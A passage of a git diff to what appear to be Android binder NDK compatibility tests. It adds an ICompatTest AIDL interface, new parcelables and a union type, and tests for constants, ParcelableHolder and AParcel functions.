-  ::ndk::ScopedAStatus RepeatStringNullableLater(const std::string& in_value,
-                                                 std::string* _aidl_return) override {
-    *_aidl_return = in_value;
-    return ::ndk::ScopedAStatus(AStatus_newOk());
-  }
+      ::ndk::ScopedAStatus RepeatStringNullableLater(const std::string& in_value,
+                                                     std::string* _aidl_return) override {
+        *_aidl_return = in_value;
+        return ::ndk::ScopedAStatus(AStatus_newOk());
+      }
 #else
-  ::ndk::ScopedAStatus RepeatStringNullableLater(
-      const std::optional<std::string>& in_value,
-      std::optional<std::string>* _aidl_return) override {
-    *_aidl_return = in_value;
-    return ::ndk::ScopedAStatus(AStatus_newOk());
-  }
+      ::ndk::ScopedAStatus RepeatStringNullableLater(
+          const std::optional<std::string>& in_value,
+          std::optional<std::string>* _aidl_return) override {
+        *_aidl_return = in_value;
+        return ::ndk::ScopedAStatus(AStatus_newOk());
+      }
 #endif
 
 #ifndef USING_VERSION_1
-  // All methods added from now on should be within this macro
-  ::ndk::ScopedAStatus NewMethodThatReturns10(int32_t* _aidl_return) override {
-    *_aidl_return = 10;
+      ::ndk::ScopedAStatus NewMethodThatReturns10(int32_t* _aidl_return) override {
+        *_aidl_return = 10;
+        return ::ndk::ScopedAStatus(AStatus_newOk());
+      }
+#endif
+    };
+    *_aidl_return = SharedRefBase::make<MyCompatTest>()->asBinder();
     return ::ndk::ScopedAStatus(AStatus_newOk());
   }
-#endif
+
+  ::ndk::ScopedAStatus RepeatExtendableParcelable(
+      const ::aidl::test_package::ExtendableParcelable& in_input,
+      ::aidl::test_package::ExtendableParcelable* out_output) {
+    RepeatExtendableParcelableWithoutExtension(in_input, out_output);
+    std::unique_ptr<MyExt> ext = in_input.ext.getParcelable<MyExt>();
+    MyExt ext2;
+    ext2.a = ext->a;
+    ext2.b = ext->b;
+    out_output->ext.setParcelable(ext2);
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+
+  ::ndk::ScopedAStatus RepeatExtendableParcelableWithoutExtension(
+      const ::aidl::test_package::ExtendableParcelable& in_input,
+      ::aidl::test_package::ExtendableParcelable* out_output) {
+    out_output->a = in_input.a;
+    out_output->b = in_input.b;
+    out_output->c = in_input.c;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+
+  ::ndk::ScopedAStatus RepeatSimpleUnion(const SimpleUnion& in_u,
+                                         SimpleUnion* _aidl_return) override {
+    *_aidl_return = in_u;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
 
   ::ndk::ScopedAStatus repeatFoo(const Foo& in_inFoo, Foo* _aidl_return) {
     *_aidl_return = in_inFoo;
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp
index b05cba0..fab478e 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp
@@ -60,6 +60,17 @@
   AIBinder_decStrong(binder);
 }
 
+TEST_F(NdkBinderTest_AIBinder, ClassGetDescriptor) {
+  EXPECT_NE(SampleData::kClass, SampleData::kAnotherClassWithSameDescriptor);
+  EXPECT_STREQ(SampleData::kDescriptor, AIBinder_Class_getDescriptor(SampleData::kClass));
+  EXPECT_STREQ(SampleData::kDescriptor,
+               AIBinder_Class_getDescriptor(SampleData::kAnotherClassWithSameDescriptor));
+
+  AIBinder* binder = SampleData::newBinder();
+  EXPECT_STREQ(SampleData::kDescriptor, AIBinder_Class_getDescriptor(AIBinder_getClass(binder)));
+  AIBinder_decStrong(binder);
+}
+
 TEST_F(NdkBinderTest_AIBinder, GetUserData) {
   // This test can't use the helper utility since SampleData isn't exposed
   SampleData* data = new SampleData;
@@ -242,6 +253,24 @@
   AIBinder_decStrong(binder);
 }
 
+TEST_F(NdkBinderTest_AIBinder, UnassociatedBinderRejected) {
+  AIBinder* binder1 = SampleData::newBinder(nullptr, ExpectLifetimeTransactions(0));
+
+  AParcel* in;
+  EXPECT_EQ(STATUS_OK, AIBinder_prepareTransaction(binder1, &in));
+
+  AIBinder* binder2 = SampleData::newBinder(nullptr, ExpectLifetimeTransactions(0));
+
+  AParcel* out;
+  // transaction on different binder object from prepare fails
+  EXPECT_EQ(STATUS_BAD_VALUE, AIBinder_transact(binder2, kCode, &in, &out, 0));
+
+  AParcel_delete(out);
+
+  AIBinder_decStrong(binder2);
+  AIBinder_decStrong(binder1);
+}
+
 void* EmptyOnCreate(void* args) { return args; }
 void EmptyOnDestroy(void* /*userData*/) {}
 binder_status_t EmptyOnTransact(AIBinder* /*binder*/,
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
index 0656070..e346e2b 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
@@ -16,8 +16,10 @@
 #define LOG_TAG "Cts-NdkBinderTest"
 
 #include <aidl/test_package/BnEmpty.h>
+#include <aidl/test_package/BpCompatTest.h>
 #include <aidl/test_package/BpTest.h>
 #include <aidl/test_package/ByteEnum.h>
+#include <aidl/test_package/ExtendableParcelable.h>
 #include <aidl/test_package/FixedSize.h>
 #include <aidl/test_package/Foo.h>
 #include <aidl/test_package/IntEnum.h>
@@ -38,12 +40,15 @@
 using ::aidl::test_package::Bar;
 using ::aidl::test_package::BpTest;
 using ::aidl::test_package::ByteEnum;
+using ::aidl::test_package::ExtendableParcelable;
 using ::aidl::test_package::FixedSize;
 using ::aidl::test_package::Foo;
 using ::aidl::test_package::GenericBar;
+using ::aidl::test_package::ICompatTest;
 using ::aidl::test_package::IntEnum;
 using ::aidl::test_package::ITest;
 using ::aidl::test_package::LongEnum;
+using ::aidl::test_package::MyExt;
 using ::aidl::test_package::RegularPolygon;
 using ::ndk::ScopedAStatus;
 using ::ndk::ScopedFileDescriptor;
@@ -144,6 +149,12 @@
   return ret;
 }
 
+auto getCompatTest(std::shared_ptr<ITest> itest) {
+  SpAIBinder binder;
+  itest->getICompatTest(&binder);
+  return ICompatTest::fromBinder(binder);
+}
+
 TEST_P(NdkBinderTest_Aidl, UseDump) {
   std::string name;
   EXPECT_OK(iface->GetName(&name));
@@ -191,14 +202,36 @@
   EXPECT_EQ(getuid(), res);
 }
 
-TEST_P(NdkBinderTest_Aidl, Constants) {
+TEST_P(NdkBinderTest_Aidl, ConstantsInInterface) {
   ASSERT_EQ(0, ITest::kZero);
   ASSERT_EQ(1, ITest::kOne);
   ASSERT_EQ(0xffffffff, ITest::kOnes);
+  ASSERT_EQ(1, ITest::kByteOne);
+  ASSERT_EQ(0xffffffffffffffff, ITest::kLongOnes);
   ASSERT_EQ(std::string(""), ITest::kEmpty);
   ASSERT_EQ(std::string("foo"), ITest::kFoo);
 }
 
+TEST_P(NdkBinderTest_Aidl, ConstantsInParcelable) {
+  ASSERT_EQ(0, Foo::kZero);
+  ASSERT_EQ(1, Foo::kOne);
+  ASSERT_EQ(0xffffffff, Foo::kOnes);
+  ASSERT_EQ(1, Foo::kByteOne);
+  ASSERT_EQ(0xffffffffffffffff, Foo::kLongOnes);
+  ASSERT_EQ(std::string(""), Foo::kEmpty);
+  ASSERT_EQ(std::string("foo"), Foo::kFoo);
+}
+
+TEST_P(NdkBinderTest_Aidl, ConstantsInUnion) {
+  ASSERT_EQ(0, SimpleUnion::kZero);
+  ASSERT_EQ(1, SimpleUnion::kOne);
+  ASSERT_EQ(0xffffffff, SimpleUnion::kOnes);
+  ASSERT_EQ(1, SimpleUnion::kByteOne);
+  ASSERT_EQ(0xffffffffffffffff, SimpleUnion::kLongOnes);
+  ASSERT_EQ(std::string(""), SimpleUnion::kEmpty);
+  ASSERT_EQ(std::string("foo"), SimpleUnion::kFoo);
+}
+
 TEST_P(NdkBinderTest_Aidl, RepeatPrimitiveInt) {
   int32_t out;
   ASSERT_OK(iface->RepeatInt(3, &out));
@@ -459,16 +492,17 @@
 }
 
 TEST_P(NdkBinderTest_Aidl, NewField) {
-  Foo foo;
-  foo.g = {"a", "b", "c"};
+  Baz baz;
+  baz.d = {"a", "b", "c"};
 
-  Foo outFoo;
-  ASSERT_OK(iface->repeatFoo(foo, &outFoo));
+  Baz outbaz;
+
+  ASSERT_OK(getCompatTest(iface)->repeatBaz(baz, &outbaz));
 
   if (GetParam().shouldBeOld) {
-    EXPECT_EQ(std::nullopt, outFoo.g);
+    EXPECT_EQ(std::nullopt, outbaz.d);
   } else {
-    EXPECT_EQ(foo.g, outFoo.g);
+    EXPECT_EQ(baz.d, outbaz.d);
   }
 }
 
@@ -496,6 +530,28 @@
   EXPECT_EQ(15, retF);
 }
 
+namespace aidl {
+namespace test_package {
+bool operator==(const SimpleUnion& lhs, const SimpleUnion& rhs) {
+  if (lhs.getTag() != rhs.getTag()) return false;
+  switch (lhs.getTag()) {
+    case SimpleUnion::a:
+      return lhs.get<SimpleUnion::a>() == rhs.get<SimpleUnion::a>();
+    case SimpleUnion::b:
+      return lhs.get<SimpleUnion::b>() == rhs.get<SimpleUnion::b>();
+    case SimpleUnion::c:
+      return lhs.get<SimpleUnion::c>() == rhs.get<SimpleUnion::c>();
+    case SimpleUnion::d:
+      return lhs.get<SimpleUnion::d>() == rhs.get<SimpleUnion::d>();
+    case SimpleUnion::e:
+      return lhs.get<SimpleUnion::e>() == rhs.get<SimpleUnion::e>();
+    case SimpleUnion::f:
+      return lhs.get<SimpleUnion::f>() == rhs.get<SimpleUnion::f>();
+  }
+}
+}  // namespace test_package
+}  // namespace aidl
+
 TEST_P(NdkBinderTest_Aidl, RepeatFoo) {
   Foo foo;
   foo.a = "NEW FOO";
@@ -508,6 +564,10 @@
   foo.shouldContainTwoByteFoos = {ByteEnum::FOO, ByteEnum::FOO};
   foo.shouldContainTwoIntFoos = {IntEnum::FOO, IntEnum::FOO};
   foo.shouldContainTwoLongFoos = {LongEnum::FOO, LongEnum::FOO};
+  foo.u = SimpleUnion::make<SimpleUnion::c>("hello");
+  foo.shouldSetBit0AndBit2 = Foo::BIT0 | Foo::BIT2;
+  foo.shouldBeConstS1 = SimpleUnion::S1;
+
   Foo retFoo;
 
   ASSERT_OK(iface->repeatFoo(foo, &retFoo));
@@ -522,15 +582,12 @@
   EXPECT_EQ(foo.shouldContainTwoByteFoos, retFoo.shouldContainTwoByteFoos);
   EXPECT_EQ(foo.shouldContainTwoIntFoos, retFoo.shouldContainTwoIntFoos);
   EXPECT_EQ(foo.shouldContainTwoLongFoos, retFoo.shouldContainTwoLongFoos);
+  EXPECT_EQ(foo.u, retFoo.u);
+  EXPECT_EQ(foo.shouldSetBit0AndBit2, retFoo.shouldSetBit0AndBit2);
+  EXPECT_EQ(foo.shouldBeConstS1, retFoo.shouldBeConstS1);
 }
 
 TEST_P(NdkBinderTest_Aidl, RepeatGenericBar) {
-  if (GetParam().shouldBeOld) {
-    // TODO(b/127361166): GTEST_SKIP is considered a failure, would prefer to use that here
-    __android_log_write(ANDROID_LOG_ERROR, LOG_TAG,
-                        "Skipping RepeatGenericBar test on old interface");
-    return;
-  }
   GenericBar<int32_t> bar;
   bar.a = 40;
   bar.shouldBeGenericFoo.a = 41;
@@ -819,7 +876,7 @@
                           });
 }
 
-class DefaultImpl : public ::aidl::test_package::ITestDefault {
+class DefaultImpl : public ::aidl::test_package::ICompatTestDefault {
  public:
   ::ndk::ScopedAStatus NewMethodThatReturns10(int32_t* _aidl_return) override {
     *_aidl_return = 100;  // default impl returns different value
@@ -828,11 +885,12 @@
 };
 
 TEST_P(NdkBinderTest_Aidl, NewMethod) {
-  std::shared_ptr<ITest> default_impl = SharedRefBase::make<DefaultImpl>();
-  ::aidl::test_package::ITest::setDefaultImpl(default_impl);
+  std::shared_ptr<ICompatTest> default_impl = SharedRefBase::make<DefaultImpl>();
+  ::aidl::test_package::ICompatTest::setDefaultImpl(default_impl);
 
+  auto compat_test = getCompatTest(iface);
   int32_t res;
-  EXPECT_OK(iface->NewMethodThatReturns10(&res));
+  EXPECT_OK(compat_test->NewMethodThatReturns10(&res));
   if (GetParam().shouldBeOld) {
     // Remote was built with version 1 interface which does not have
     // "NewMethodThatReturns10". In this case the default method
@@ -857,27 +915,29 @@
   // non-nullable type. Of course, this is not ideal, but the problem runs very
   // deep.
   const bool supports_nullable = !GetParam().shouldBeOld || name == "Java";
+  auto compat_test = getCompatTest(iface);
   if (supports_nullable) {
-    EXPECT_OK(iface->RepeatStringNullableLater(std::nullopt, &res));
+    EXPECT_OK(compat_test->RepeatStringNullableLater(std::nullopt, &res));
     EXPECT_EQ(std::nullopt, res);
   } else {
-    ndk::ScopedAStatus status = iface->RepeatStringNullableLater(std::nullopt, &res);
+    ndk::ScopedAStatus status = compat_test->RepeatStringNullableLater(std::nullopt, &res);
     ASSERT_EQ(STATUS_UNEXPECTED_NULL, AStatus_getStatus(status.get()));
   }
 
-  EXPECT_OK(iface->RepeatStringNullableLater("", &res));
+  EXPECT_OK(compat_test->RepeatStringNullableLater("", &res));
   EXPECT_EQ("", res);
 
-  EXPECT_OK(iface->RepeatStringNullableLater("a", &res));
+  EXPECT_OK(compat_test->RepeatStringNullableLater("a", &res));
   EXPECT_EQ("a", res);
 
-  EXPECT_OK(iface->RepeatStringNullableLater("say what?", &res));
+  EXPECT_OK(compat_test->RepeatStringNullableLater("say what?", &res));
   EXPECT_EQ("say what?", res);
 }
 
 TEST_P(NdkBinderTest_Aidl, GetInterfaceVersion) {
   int32_t res;
-  EXPECT_OK(iface->getInterfaceVersion(&res));
+  auto compat_test = getCompatTest(iface);
+  EXPECT_OK(compat_test->getInterfaceVersion(&res));
   if (GetParam().shouldBeOld) {
     EXPECT_EQ(1, res);
   } else {
@@ -888,15 +948,64 @@
 
 TEST_P(NdkBinderTest_Aidl, GetInterfaceHash) {
   std::string res;
-  EXPECT_OK(iface->getInterfaceHash(&res));
+  auto compat_test = getCompatTest(iface);
+  EXPECT_OK(compat_test->getInterfaceHash(&res));
   if (GetParam().shouldBeOld) {
     // aidl_api/libbinder_ndk_test_interface/1/.hash
-    EXPECT_EQ("d1f6d67f8af3bf736ae93d872660b0c800dd14d9", res);
+    EXPECT_EQ("b663b681b3e0d66f9b5428c2f23365031b7d4ba0", res);
   } else {
     EXPECT_EQ("notfrozen", res);
   }
 }
 
+TEST_P(NdkBinderTest_Aidl, ParcelableHolderTest) {
+  ExtendableParcelable ep;
+  MyExt myext1;
+  myext1.a = 42;
+  myext1.b = "mystr";
+  ep.ext.setParcelable(myext1);
+  std::unique_ptr<MyExt> myext2 = ep.ext.getParcelable<MyExt>();
+  EXPECT_TRUE(myext2);
+  EXPECT_EQ(42, myext2->a);
+  EXPECT_EQ("mystr", myext2->b);
+
+  AParcel* parcel = AParcel_create();
+  ep.writeToParcel(parcel);
+  AParcel_setDataPosition(parcel, 0);
+  ExtendableParcelable ep2;
+  ep2.readFromParcel(parcel);
+  std::unique_ptr<MyExt> myext3 = ep2.ext.getParcelable<MyExt>();
+  EXPECT_TRUE(myext3);
+  EXPECT_EQ(42, myext3->a);
+  EXPECT_EQ("mystr", myext3->b);
+  AParcel_delete(parcel);
+}
+TEST_P(NdkBinderTest_Aidl, ParcelableHolderCommunicationTest) {
+  ExtendableParcelable ep;
+  ep.c = 42L;
+  MyExt myext1;
+  myext1.a = 42;
+  myext1.b = "mystr";
+  ep.ext.setParcelable(myext1);
+
+  ExtendableParcelable ep2;
+  EXPECT_OK(iface->RepeatExtendableParcelable(ep, &ep2));
+  std::unique_ptr<MyExt> myext2 = ep2.ext.getParcelable<MyExt>();
+  EXPECT_EQ(42L, ep2.c);
+  EXPECT_TRUE(myext2);
+  EXPECT_EQ(42, myext2->a);
+  EXPECT_EQ("mystr", myext2->b);
+}
+
+TEST_P(NdkBinderTest_Aidl, EmptyParcelableHolderCommunicationTest) {
+  ExtendableParcelable ep;
+  ExtendableParcelable ep2;
+  ep.c = 42L;
+  EXPECT_OK(iface->RepeatExtendableParcelableWithoutExtension(ep, &ep2));
+
+  EXPECT_EQ(42L, ep2.c);
+}
+
 std::shared_ptr<ITest> getProxyLocalService() {
   std::shared_ptr<MyTest> test = SharedRefBase::make<MyTest>();
   SpAIBinder binder = test->asBinder();
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Baz.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Baz.aidl
new file mode 100644
index 0000000..dc24369
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Baz.aidl
@@ -0,0 +1,9 @@
+package test_package;
+
+parcelable Baz {
+    String a="FOO";
+    int b=42;
+    float c=3.14f;
+    // This field doesn't exist in version 1.
+    @nullable String[] d;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ExtendableParcelable.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ExtendableParcelable.aidl
new file mode 100644
index 0000000..6155d4d
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ExtendableParcelable.aidl
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package test_package;
+
+parcelable ExtendableParcelable {
+    int a;
+    @nullable @utf8InCpp String b;
+    ParcelableHolder ext;
+    long c;
+    ParcelableHolder ext2;
+}
\ No newline at end of file
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Foo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Foo.aidl
index fc102d6..e6b6285 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Foo.aidl
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Foo.aidl
@@ -4,8 +4,17 @@
 import test_package.ByteEnum;
 import test_package.IntEnum;
 import test_package.LongEnum;
+import test_package.SimpleUnion;
 
 parcelable Foo {
+    const int kZero = 0;
+    const int kOne = 1;
+    const int kOnes = 0xffffffff;
+    const byte kByteOne = 1;
+    const long kLongOnes = 0xffffffffffffffff;
+    const String kEmpty = "";
+    const String kFoo = "foo";
+
     String a="FOO";
     int b=42;
     float c=3.14f;
@@ -18,6 +27,15 @@
     ByteEnum[] shouldContainTwoByteFoos;
     IntEnum[] shouldContainTwoIntFoos;
     LongEnum[] shouldContainTwoLongFoos;
-    // This field doesn't exist in version 1.
     @nullable String[] g;
+    @nullable SimpleUnion u;
+
+    // example: using int constants
+    const int BIT0 = 0x1;
+    const int BIT1 = 0x1 << 1;
+    const int BIT2 = 0x1 << 2;
+    int shouldSetBit0AndBit2;
+
+    // example: using a String constant of union
+    @nullable SimpleUnion shouldBeConstS1;
 }
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ICompatTest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ICompatTest.aidl
new file mode 100644
index 0000000..ad9e013
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ICompatTest.aidl
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package test_package;
+
+import test_package.Baz;
+
+interface ICompatTest {
+    Baz repeatBaz(in Baz inBaz);
+    // Method which is not nullable in version 1, but is nullable in version 2
+    @nullable String RepeatStringNullableLater(@nullable String repeated);
+
+    // Methods that do not exist in version 1
+    int NewMethodThatReturns10();
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl
index 39d2d42..084c7d7 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl
@@ -23,6 +23,8 @@
 import test_package.LongEnum;
 import test_package.RegularPolygon;
 import test_package.GenericBar;
+import test_package.ExtendableParcelable;
+import test_package.SimpleUnion;
 
 // This test interface is used in order to test the all of the things that AIDL can generate which
 // build on top of the NDK.
@@ -32,6 +34,8 @@
     const int kZero = 0;
     const int kOne = 1;
     const int kOnes = 0xffffffff;
+    const byte kByteOne = 1;
+    const long kLongOnes = 0xffffffffffffffff;
     const String kEmpty = "";
     const String kFoo = "foo";
 
@@ -119,11 +123,13 @@
     void renameBar(inout Foo foo, String name);
     int getF(in Foo foo);
 
-    // Method which is not nullable in version 1, but is nullable in version 2
-    @nullable String RepeatStringNullableLater(@nullable String repeated);
-
     GenericBar<int> repeatGenericBar(in GenericBar<int> bar);
 
-    // Methods that do not exist in version 1
-    int NewMethodThatReturns10();
+    void RepeatExtendableParcelable(in ExtendableParcelable input, out ExtendableParcelable output);
+
+    SimpleUnion RepeatSimpleUnion(in SimpleUnion u);
+
+    IBinder getICompatTest();
+
+    void RepeatExtendableParcelableWithoutExtension(in ExtendableParcelable input, out ExtendableParcelable output);
 }
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/MyExt.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/MyExt.aidl
new file mode 100644
index 0000000..e14d73d
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/MyExt.aidl
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package test_package;
+
+parcelable MyExt {
+    int a;
+    @utf8InCpp String b;
+}
\ No newline at end of file
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/SimpleUnion.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/SimpleUnion.aidl
new file mode 100644
index 0000000..7bd33d4
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/SimpleUnion.aidl
@@ -0,0 +1,23 @@
+package test_package;
+
+import test_package.Bar;
+import test_package.ByteEnum;
+
+union SimpleUnion {
+    const int kZero = 0;
+    const int kOne = 1;
+    const int kOnes = 0xffffffff;
+    const byte kByteOne = 1;
+    const long kLongOnes = 0xffffffffffffffff;
+    const String kEmpty = "";
+    const String kFoo = "foo";
+
+    int a = 42;
+    int[] b;
+    String c;
+    ByteEnum d;
+    ByteEnum[] e;
+    @nullable Bar f;
+
+    const String S1 = "a string constant";
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_parcel.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_parcel.cpp
index 80c7313..baebb1c 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_parcel.cpp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_parcel.cpp
@@ -367,3 +367,58 @@
 
   AIBinder_decStrong(binder);
 }
+
+TEST_F(NdkBinderTest_AParcel, CreateParcelTest) {
+  AParcel* p = AParcel_create();
+  EXPECT_TRUE(p);
+  EXPECT_EQ(0, AParcel_getDataSize(p));
+  EXPECT_EQ(0, AParcel_getDataPosition(p));
+  AParcel_delete(p);
+}
+
+TEST_F(NdkBinderTest_AParcel, AppendFromTest) {
+  AParcel* p1 = AParcel_create();
+  AParcel* p2 = AParcel_create();
+
+  AParcel_writeInt32(p1, 42);
+
+  AParcel_appendFrom(p1, p2, 0, AParcel_getDataSize(p1));
+  EXPECT_EQ(AParcel_getDataSize(p1), AParcel_getDataSize(p1));
+
+  int32_t actual = 0;
+  AParcel_setDataPosition(p2, 0);
+  AParcel_readInt32(p2, &actual);
+
+  EXPECT_EQ(42, actual);
+
+  AParcel_delete(p1);
+  AParcel_delete(p2);
+}
+
+TEST_F(NdkBinderTest_AParcel, ResetTest) {
+  AParcel* p = AParcel_create();
+
+  AParcel_writeInt32(p, 42);
+  AParcel_reset(p);
+  EXPECT_EQ(0, AParcel_getDataSize(p));
+  EXPECT_EQ(0, AParcel_getDataPosition(p));
+
+  AParcel_writeInt32(p, 24);
+  AParcel_setDataPosition(p, 0);
+  int actual = 0;
+  AParcel_readInt32(p, &actual);
+
+  EXPECT_EQ(24, actual);
+  EXPECT_EQ(AParcel_getDataSize(p), AParcel_getDataPosition(p));
+
+  AParcel_delete(p);
+}
+
+TEST_F(NdkBinderTest_AParcel, GetDataSizeTest) {
+  AParcel* p = AParcel_create();
+
+  AParcel_writeInt32(p, 42);
+  EXPECT_EQ(AParcel_getDataSize(p), AParcel_getDataPosition(p));
+
+  AParcel_delete(p);
+}
\ No newline at end of file
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java b/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
index 331584c..2d57d824 100644
--- a/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
+++ b/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
@@ -42,15 +42,20 @@
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
 import test_package.Bar;
+import test_package.Baz;
 import test_package.ByteEnum;
+import test_package.ExtendableParcelable;
 import test_package.Foo;
 import test_package.GenericBar;
 import test_package.GenericFoo;
+import test_package.ICompatTest;
 import test_package.IEmpty;
 import test_package.ITest;
 import test_package.IntEnum;
 import test_package.LongEnum;
+import test_package.MyExt;
 import test_package.RegularPolygon;
+import test_package.SimpleUnion;
 
 @RunWith(Parameterized.class)
 public class JavaClientTest {
@@ -174,11 +179,6 @@
     }
 
     private static class Empty extends IEmpty.Stub {
-        @Override
-        public int getInterfaceVersion() { return Empty.VERSION; }
-
-        @Override
-        public String getInterfaceHash() { return Empty.HASH; }
     }
 
     @Test
@@ -605,6 +605,11 @@
         foo.shouldContainTwoIntFoos = new int[]{IntEnum.FOO, IntEnum.FOO};
         foo.shouldContainTwoLongFoos = new long[]{LongEnum.FOO, LongEnum.FOO};
 
+        foo.u = SimpleUnion.e(new byte[]{ByteEnum.FOO, ByteEnum.FOO});
+
+        foo.shouldSetBit0AndBit2 = Foo.BIT0 | Foo.BIT2;
+        foo.shouldBeConstS1 = SimpleUnion.c(SimpleUnion.S1);
+
         Foo repeatedFoo = mInterface.repeatFoo(foo);
 
         assertEquals(foo.a, repeatedFoo.a);
@@ -617,6 +622,9 @@
         Assert.assertArrayEquals(foo.shouldContainTwoByteFoos, repeatedFoo.shouldContainTwoByteFoos);
         Assert.assertArrayEquals(foo.shouldContainTwoIntFoos, repeatedFoo.shouldContainTwoIntFoos);
         Assert.assertArrayEquals(foo.shouldContainTwoLongFoos, repeatedFoo.shouldContainTwoLongFoos);
+        Assert.assertArrayEquals(foo.u.getE(), repeatedFoo.u.getE());
+        assertEquals(foo.shouldSetBit0AndBit2, repeatedFoo.shouldSetBit0AndBit2);
+        assertEquals(foo.shouldBeConstS1.getC(), repeatedFoo.shouldBeConstS1.getC());
     }
 
     @Test
@@ -635,18 +643,14 @@
 
     @Test
     public void testNewField() throws RemoteException {
-        Foo foo = new Foo();
-        foo.d = new Bar();
-        foo.e = new Bar();
-        foo.shouldContainTwoByteFoos = new byte[]{};
-        foo.shouldContainTwoIntFoos = new int[]{};
-        foo.shouldContainTwoLongFoos = new long[]{};
-        foo.g = new String[]{"a", "b", "c"};
-        Foo newFoo = mInterface.repeatFoo(foo);
+        Baz baz = new Baz();
+        baz.d = new String[]{"a", "b", "c"};
+        ICompatTest compatTest = ICompatTest.Stub.asInterface(mInterface.getICompatTest());
+        Baz newBaz = compatTest.repeatBaz(baz);
         if (mShouldBeOld) {
-            assertEquals(null, newFoo.g);
+            assertEquals(null, newBaz.d);
         } else {
-            Assert.assertArrayEquals(foo.g, newFoo.g);
+            Assert.assertArrayEquals(baz.d, newBaz.d);
         }
     }
     @Test
@@ -676,14 +680,52 @@
     public void testRepeatStringNullableLater() throws RemoteException {
         // see notes in native NdkBinderTest_Aidl RepeatStringNullableLater
         boolean handlesNull = !mShouldBeOld || mExpectedName == "JAVA";
+        ICompatTest compatTest = ICompatTest.Stub.asInterface(mInterface.getICompatTest());
+
         try {
-            assertEquals(null, mInterface.RepeatStringNullableLater(null));
+            assertEquals(null, compatTest.RepeatStringNullableLater(null));
             assertTrue("should reach here if null is handled", handlesNull);
         } catch (NullPointerException e) {
             assertFalse("should reach here if null isn't handled", handlesNull);
         }
-        assertEquals("", mInterface.RepeatStringNullableLater(""));
-        assertEquals("a", mInterface.RepeatStringNullableLater("a"));
-        assertEquals("foo", mInterface.RepeatStringNullableLater("foo"));
+        assertEquals("", compatTest.RepeatStringNullableLater(""));
+        assertEquals("a", compatTest.RepeatStringNullableLater("a"));
+        assertEquals("foo", compatTest.RepeatStringNullableLater("foo"));
+    }
+
+    @Test
